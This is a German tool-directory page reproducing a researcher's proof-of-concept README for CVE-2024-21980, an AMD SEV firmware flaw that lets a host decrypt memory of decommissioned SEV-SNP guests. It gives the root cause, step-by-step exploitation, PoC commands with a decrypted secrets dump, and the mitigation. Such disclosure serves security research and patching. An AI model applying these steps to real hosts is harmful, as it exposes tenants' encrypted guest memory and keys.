Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
cve-2024-21980-poc — Exploit für CVE-2024-21980, der auf die AMD-SEV-Firmware abzielt, um beliebigen Speicher von stillgelegten SEV-SNP-Gästen über eine Umgehung der Befehlsprüfung zu entschlüsseln. | Kitploit
Tools/GitHubGitHub/freax13/cve-2024-21980-poc
Verschlüsselungs-/EntschlüsselungstoolsSchwachstellenanalyseExploitationHardware-SicherheitPayload-EntwicklungBinary-Exploitation
GitHubfreax13/cve-2024-21980-poc

cve-2024-21980-poc

Exploit für CVE-2024-21980, der auf die AMD-SEV-Firmware abzielt, um beliebigen Speicher von stillgelegten SEV-SNP-Gästen über eine Umgehung der Befehlsprüfung zu entschlüsseln.

Repository anzeigen
815vor 2 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

SEV-Firmware-Sicherheitslücke

Dieses Repository enthält einen Exploit für eine Schwachstelle in der SEV-Firmware. Der Exploit ermöglicht es, beliebigen Speicher eines SEV-SNP-Gasts zu entschlüsseln, nachdem dieser außer Betrieb genommen wurde.

Getestet mit Version 1.55.16 (zum Zeitpunkt des Schreibens die neueste Version).

Grundursache

Die SEV-Firmware enthält eine Tabelle namens master_handler_table mit Funktionszeigern für alle Befehle sowie einigen weiteren Eigenschaften, die für die Befehle relevant sind. Zwei dieser zusätzlichen Eigenschaften sind cmd_buf_type und snp_cmd_buf_enforcement. cmd_buf_type bestimmt, ob der Befehlsbuffer in den Hostspeicher kopiert und/oder daraus kopiert werden soll. snp_cmd_buf_enforcement bestimmt, ob diese Kopiervorgänge Prüfungen unterliegen, die sicherstellen, dass der Speicher, der den Befehlsbuffer hinterlegt, sich im Zustand FIRMWARE oder DEFAULT befindet. Befehle, bei denen cmd_buf_type entweder CMD_BUF_OUTPUT_ONLY, CMD_BUF_INPUT_AND_OUTPUT oder CMD_BUF_INPUT_AND_OUTPUT_ERROR ist, sollten alle snp_cmd_buf_enforcement auf true gesetzt haben. Andernfalls könnte das Zurückschreiben der Befehlsausgabe zu Speicherkorruption innerhalb des von der RMP abgedeckten Bereichs führen. snp_cmd_buf_enforcement ist für alle diese Befehle auf true gesetzt, mit einer Ausnahme – SEV_MCMD_ID_ATTESTATION: Dieser Befehl hat cmd_buf_type auf CMD_BUF_INPUT_AND_OUTPUT_ERROR gesetzt, aber snp_cmd_buf_enforcement ist ebenfalls auf false gesetzt. Dadurch ist es möglich, SEV_MCMD_ID_ATTESTATION mit einem Befehlsbuffer auszuführen, der auf von der RMP abgedeckten Speicher zeigt, und diesen Speicher zu korrumpieren, sobald die Ausgabe zurückgeschrieben wird.

Ich sehe nicht, warum SEV_MCMD_ID_ATTESTATION eine Ausnahme sein müsste; es erscheint mir plausibel, dass dies ein Tippfehler/Kopier-und-Einfüge-Fehler sein könnte.

Exploit

SEV_MCMD_ID_ATTESTATION schreibt nur in ein einzelnes Feld length (4 Bytes) im Befehlsbuffer, und daher sind dies die einzigen Bytes, die wir zur Speicherkorruption verwenden können. SEV_MCMD_ID_ATTESTATION schreibt immer denselben Wert – 0x000000d0. Glücklicherweise gibt es keine Ausrichtungsanforderungen an den Befehlsbuffer, sodass wir den Befehlsbuffer wiederholt verschieben können, um einen größeren Bereich zusammenhängenden Speichers zu korrumpieren. Wir werden dies nutzen, um die ersten 16 Bytes einer Gastkontextseite mit einem statischen Muster zu korrumpieren. Diese ersten 16 Bytes enthalten den UMC-Schlüsselsamen, und indem wir ihn auf einen statischen Wert erzwingen, können wir den Verschlüsselungsschlüssel des Gasts auf einen statischen Wert erzwingen.

Der hier bereitgestellte Exploit basiert stark auf dem, den ich für SWPSIRT-2684/CVE-2023-31355 bereitgestellt habe.

Um die Schwachstelle auszunutzen, können wir die folgenden Schritte ausführen:

  1. Starten Sie einen SEV- oder SEV-ES-Gast. Dies ist für SEV_MCMD_ID_ATTESTATION erforderlich. Lassen Sie diesen Gast weiterlaufen.
  2. Erstellen Sie eine Gastkontextseite an der Adresse 0x2000 für den Opfer-Gast. Jede andere Adresse im von der RMP abgedeckten Bereich würde ebenfalls funktionieren, obwohl eine feste Adresse für die Fehlersuche nützlich ist.
  3. Nutzen Sie die Schwachstelle, um den UMC-Schlüsselsamen des Opfer-Gasts zu korrumpieren.
  4. Aktivieren Sie die Gastkontextseite des Opfer-Gasts und starten und betreiben Sie den Opfer-Gast.
  5. Nehmen Sie den Opfer-Gast außer Betrieb.
  6. Erstellen Sie eine Gastkontextseite an der Adresse 0x2000 für den Angreifer-Gast. Dies muss dieselbe Adresse sein, die in Schritt 1 verwendet wurde.
  7. Nutzen Sie die Schwachstelle, um den UMC-Schlüsselsamen des Angreifer-Gasts zu korrumpieren.
  8. Aktivieren Sie die Gastkontextseite des Angreifer-Gasts und starten Sie mit aktiviertem Debug-Flag.
  9. Weisen Sie den Speicher des Opfer-Gasts dem Angreifer-Gast zu.
  10. Verwenden Sie den Befehl SNP_DBG_ENCRYPT, um den Speicher des Opfer-Gasts mithilfe der Kontextseite des Angreifer-Gasts zu entschlüsseln. Dies wird gelingen, weil der Opfer-Gast und der Angreifer-Gast denselben UMC-Schlüsselsamen teilen.

Auswirkungen

Die Auswirkungen hier sollten mindestens dieselben sein wie bei SWPSIRT-2684. Es ist mir derzeit nicht klar, ob dieser Fehler verwendet werden kann, um den Speicher eines laufenden Gasts zu entschlüsseln, bevor dieser außer Betrieb genommen wurde.

Gegenmaßnahme

snp_cmd_buf_enforcement sollte für SEV_MCMD_ID_ATTESTATION auf true gesetzt werden.

Interessanterweise müssen die Linux-KVM-Host-Support-Patches nicht aktualisiert werden, da sie SEV_CMD_ATTESTATION_REPORT bereits in sev_cmd_buf_writable als einen Befehl auflisten, der erfordert, dass sich sein Befehlsbuffer im Zustand FIRMWARE befindet. Änderungen können für andere Hypervisoren erforderlich sein oder auch nicht.

PoC-Verwendung

  1. Ändern Sie den von der RMP abgedeckten Bereich im BIOS auf 64 GiB (0x10000 1-MiB-Seiten). Wenn Ihr System dies nicht unterstützt, müssen die Linux-Patches entsprechend angepasst werden. Der PoC wurde auf einem System mit 128 GiB Speicher getestet.
  2. Wenden Sie die Patches im Ordner linux-patches auf die Spitze von https://github.com/AMDESE/linux/commits/snp-host-v10 an. Erstellen, installieren und booten Sie den Kernel.
  3. Starten Sie einen SEV- oder SEV-ES-Gast und lassen Sie ihn weiterlaufen.
  4. Starten Sie einen Opfer-SEV-SNP-Gast.
  5. Stoppen Sie den Opfer-Gast.
  6. Untersuchen Sie die Kernel-Logs, um den Speicherort der geheimen Seite zu finden, die während des Starts erstellt wurde.
    root@kitploit:~
    root@server:~# dmesg | grep "kvm_amd: Detected secret page"
    [  463.851449] kvm_amd: Detected secret page at pfn 171a24
    
  7. Führen Sie den PoC aus.
    root@kitploit:~
    root@server:~/firmware-vuln-poc# cargo run -- --pfn 0x171a24 
        Finished dev [unoptimized + debuginfo] target(s) in 0.03s
    Creating VM with identical UMC key seed
    Raw page:
    000: 0300000000000000110fa00000000000000000000000000000000000a98d95ff
    020: 29d761f0c5bdc1b4b4a69fd2f37c829ca6d30d439252f7daefd72fcd45262053
    040: 3c10be491d825e35ea4166261486e417187c679efcc2d2be8553f32c2c62bbf3
    060: 27ac6d99214a2ce1fc37d35a94475ff377e67caacc43add86e908a9369207343
    080: 14c197ffbcfade378bd1b33819051d5d3628b5eb71a0b84daefed27671e8e202
    0a0: 0000000000000000000000000000000000000000000000000000000000000000
    0c0: 0000000000000000000000000000000000000000000000000000000000000000
    0e0: 0000000000000000000000000000000000000000000000000000000000000000
    100: 000000000080008800000000eeff0000f0ffffffffffffffff3f000000000000
    120: 0000000000000000000000000000000000000000000000000000000000000000
    140: 0000000000000000000000000000000000000000000000000000000000000000
    160: c800000000000000000000000000000000000000000000000000000000000000
    180: 0000000000000000000000000000000000000000000000000000000000000000
    1a0: 0000000000000000000000000000000000000000000000000000000000000000
    1c0: 0000000000000000000000000000000000000000000000000000000000000000
    1e0: 0000000000000000000000000000000000000000000000000000000000000000
    200: 0000000000000000000000000000000000000000000000000000000000000000
    220: 0000000000000000000000000000000000000000000000000000000000000000
    240: 0000000000000000000000000000000000000000000000000000000000000000
    260: 0000000000000000000000000000000000000000000000000000000000000000
    280: 0000000000000000000000000000000000000000000000000000000000000000
    2a0: 0000000000000000000000000000000000000000000000000000000000000000
    2c0: 0000000000000000000000000000000000000000000000000000000000000000
    2e0: 0000000000000000000000000000000000000000000000000000000000000000
    300: 0000000000000000000000000000000000000000000000000000000000000000
    320: 0000000000000000000000000000000000000000000000000000000000000000
    340: 0000000000000000000000000000000000000000000000000000000000000000
    360: 0000000000000000000000000000000000000000000000000000000000000000
    380: 0000000000000000000000000000000000000000000000000000000000000000
    3a0: 0000000000000000000000000000000000000000000000000000000000000000
    3c0: 0000000000000000000000000000000000000000000000000000000000000000
    3e0: 0000000000000000000000000000000000000000000000000000000000000000
    400: 0000000000000000000000000000000000000000000000000000000000000000
    420: 0000000000000000000000000000000000000000000000000000000000000000
    440: 0000000000000000000000000000000000000000000000000000000000000000
    460: 0000000000000000000000000000000000000000000000000000000000000000
    480: 0000000000000000000000000000000000000000000000000000000000000000
    4a0: 0000000000000000000000000000000000000000000000000000000000000000
    4c0: 0000000000000000000000000000000000000000000000000000000000000000
    4e0: 0000000000000000000000000000000000000000000000000000000000000000
    500: 0000000000000000000000000000000000000000000000000000000000000000
    520: 0000000000000000000000000000000000000000000000000000000000000000
    540: 0000000000000000000000000000000000000000000000000000000000000000
    560: 0000000000000000000000000000000000000000000000000000000000000000
    580: 0000000000000000000000000000000000000000000000000000000000000000
    5a0: 0000000000000000000000000000000000000000000000000000000000000000
    5c0: 0000000000000000000000000000000000000000000000000000000000000000
    5e0: 0000000000000000000000000000000000000000000000000000000000000000
    600: 0000000000000000000000000000000000000000000000000000000000000000
    620: 0000000000000000000000000000000000000000000000000000000000000000
    640: 0000000000000000000000000000000000000000000000000000000000000000
    660: 0000000000000000000000000000000000000000000000000000000000000000
    680: 0000000000000000000000000000000000000000000000000000000000000000
    6a0: 0000000000000000000000000000000000000000000000000000000000000000
    6c0: 0000000000000000000000000000000000000000000000000000000000000000
    6e0: 0000000000000000000000000000000000000000000000000000000000000000
    700: 0000000000000000000000000000000000000000000000000000000000000000
    720: 0000000000000000000000000000000000000000000000000000000000000000
    740: 0000000000000000000000000000000000000000000000000000000000000000
    760: 0000000000000000000000000000000000000000000000000000000000000000
    780: 0000000000000000000000000000000000000000000000000000000000000000
    7a0: 0000000000000000000000000000000000000000000000000000000000000000
    7c0: 0000000000000000000000000000000000000000000000000000000000000000
    7e0: 0000000000000000000000000000000000000000000000000000000000000000
    800: 0000000000000000000000000000000000000000000000000000000000000000
    820: 0000000000000000000000000000000000000000000000000000000000000000
    840: 0000000000000000000000000000000000000000000000000000000000000000
    860: 0000000000000000000000000000000000000000000000000000000000000000
    880: 0000000000000000000000000000000000000000000000000000000000000000
    8a0: 0000000000000000000000000000000000000000000000000000000000000000
    8c0: 0000000000000000000000000000000000000000000000000000000000000000
    8e0: 0000000000000000000000000000000000000000000000000000000000000000
    900: 0000000000000000000000000000000000000000000000000000000000000000
    920: 0000000000000000000000000000000000000000000000000000000000000000
    940: 0000000000000000000000000000000000000000000000000000000000000000
    960: 0000000000000000000000000000000000000000000000000000000000000000
    980: 0000000000000000000000000000000000000000000000000000000000000000
    9a0: 0000000000000000000000000000000000000000000000000000000000000000
    9c0: 0000000000000000000000000000000000000000000000000000000000000000
    9e0: 0000000000000000000000000000000000000000000000000000000000000000
    a00: 0000000000000000000000000000000000000000000000000000000000000000
    a20: 0000000000000000000000000000000000000000000000000000000000000000
    a40: 0000000000000000000000000000000000000000000000000000000000000000
    a60: 0000000000000000000000000000000000000000000000000000000000000000
    a80: 0000000000000000000000000000000000000000000000000000000000000000
    aa0: 0000000000000000000000000000000000000000000000000000000000000000
    ac0: 0000000000000000000000000000000000000000000000000000000000000000
    ae0: 0000000000000000000000000000000000000000000000000000000000000000
    b00: 0000000000000000000000000000000000000000000000000000000000000000
    b20: 0000000000000000000000000000000000000000000000000000000000000000
    b40: 0000000000000000000000000000000000000000000000000000000000000000
    b60: 0000000000000000000000000000000000000000000000000000000000000000
    b80: 0000000000000000000000000000000000000000000000000000000000000000
    ba0: 0000000000000000000000000000000000000000000000000000000000000000
    bc0: 0000000000000000000000000000000000000000000000000000000000000000
    be0: 0000000000000000000000000000000000000000000000000000000000000000
    c00: 0000000000000000000000000000000000000000000000000000000000000000
    c20: 0000000000000000000000000000000000000000000000000000000000000000
    c40: 0000000000000000000000000000000000000000000000000000000000000000
    c60: 0000000000000000000000000000000000000000000000000000000000000000
    c80: 0000000000000000000000000000000000000000000000000000000000000000
    ca0: 0000000000000000000000000000000000000000000000000000000000000000
    cc0: 0000000000000000000000000000000000000000000000000000000000000000
    ce0: 0000000000000000000000000000000000000000000000000000000000000000
    d00: 0000000000000000000000000000000000000000000000000000000000000000
    d20: 0000000000000000000000000000000000000000000000000000000000000000
    d40: 0000000000000000000000000000000000000000000000000000000000000000
    d60: 0000000000000000000000000000000000000000000000000000000000000000
    d80: 0000000000000000000000000000000000000000000000000000000000000000
    da0: 0000000000000000000000000000000000000000000000000000000000000000
    dc0: 0000000000000000000000000000000000000000000000000000000000000000
    de0: 0000000000000000000000000000000000000000000000000000000000000000
    e00: 0000000000000000000000000000000000000000000000000000000000000000
    e20: 0000000000000000000000000000000000000000000000000000000000000000
    e40: 0000000000000000000000000000000000000000000000000000000000000000
    e60: 0000000000000000000000000000000000000000000000000000000000000000
    e80: 0000000000000000000000000000000000000000000000000000000000000000
    ea0: 0000000000000000000000000000000000000000000000000000000000000000
    ec0: 0000000000000000000000000000000000000000000000000000000000000000
    ee0: 0000000000000000000000000000000000000000000000000000000000000000
    f00: 0000000000000000000000000000000000000000000000000000000000000000
    f20: 0000000000000000000000000000000000000000000000000000000000000000
    f40: 0000000000000000000000000000000000000000000000000000000000000000
    f60: 0000000000000000000000000000000000000000000000000000000000000000
    f80: 0000000000000000000000000000000000000000000000000000000000000000
    fa0: 0000000000000000000000000000000000000000000000000000000000000000
    fc0: 0000000000000000000000000000000000000000000000000000000000000000
    fe0: 0000000000000000000000000000000000000000000000000000000000000000
    
    Secrets page:
    imi_en: false
    FMS: 00a00f11
    gosvw: 000000000000000000000000a98d95ff
    vmpck0: 29d761f0c5bdc1b4b4a69fd2f37c829ca6d30d439252f7daefd72fcd45262053
    vmpck1: 3c10be491d825e35ea4166261486e417187c679efcc2d2be8553f32c2c62bbf3
    vmpck2: 27ac6d99214a2ce1fc37d35a94475ff377e67caacc43add86e908a9369207343
    vmpck3: 14c197ffbcfade378bd1b33819051d5d3628b5eb71a0b84daefed27671e8e202
    VMSA tweak bitmap: 000000000080008800000000eeff0000f0ffffffffffffffff3f0000000000000000000000000000000000000000000000000000000000000000000000000000
    tsc_factor: 200
    
    Beachten Sie, dass geheime Seiten nichts Besonderes sind; dieser Exploit kann auch verwendet werden, um normale Seiten zu entschlüsseln. Geheime Seiten werden im PoC verwendet, weil sie sehr gut erkennbare Inhalte haben, an denen leicht zu erkennen ist, dass die Entschlüsselung des Opferspeichers erfolgreich war.
Tool herunterladen